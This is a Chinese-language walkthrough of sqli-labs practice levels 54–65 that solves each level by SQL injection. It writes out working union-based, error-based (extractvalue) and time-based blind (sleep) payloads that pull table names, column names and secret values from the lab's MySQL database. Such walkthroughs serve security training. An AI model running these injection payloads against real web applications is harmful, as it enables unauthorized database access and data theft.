从54关开始,开始慢慢偏向于实际环境,加了次数限制之类的
Less 54
本关中是对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名
首先判断了单引号闭合
?id=1'
判断有三列
?id=1' order by 3--+
爆库
?id=-1' union select 1,database(),3--+
爆表
?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3--+
爆字段
?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='ovp1oney4x'),3--+
爆内容
?id=-1' union select 1,(select secret_FZ6A from ovp1oney4x),3--+
输入secret key
此关结束~~~
Less 55
本关14次注入机会,闭合方式为(),其余均与54关操作一致
Less 56
闭合方式为(''),其余均与54关操作一致
Less 57
闭合方式为"",其余均与54关操作一致
Less 58
这一关不能使用联合查询,并且要求在5次之内获得数据,所以我们采用报错注入
因为只有五次机会,所以我们珍惜这五次机会,知道数据库是challenges
爆表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+
爆字段名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='q1q98yq7bt')))--+
爆内容获取secret key
?id=1' and extractvalue(1,concat(0x7e,(select secret_E1KD from q1q98yq7bt)))--+
输入secret key点击submit
此关结束
Less 59
id不需要进行闭合,其他均与58关一致
Less 60
id用")进行闭合,其他与58关一致
Less 61
id用'))进行闭合,其他与58关一致
Less 62
一进去可以看到这一关已经给出了数据库的名字是challenges,我们采用时间盲注的方式
时间盲注太费时,所以我们简单示范一下嗷
比如猜表的第一个字母(我先去MySQL命令行show了一下tables,所以我知道了这个表第一个字母是g)
?id=1') and if(ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>102,1,sleep(5))--+
?id=1') and if(ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>103,1,sleep(5))--+
所以这个表第一个字母是g
Less 63
id用单引号闭合,其他与62关一致
Less 64
id用))闭合,其他与62关一致
Less 65
id用")闭合,其他与62关一致
sqli-labs闯关就到这里啦,祝好~~~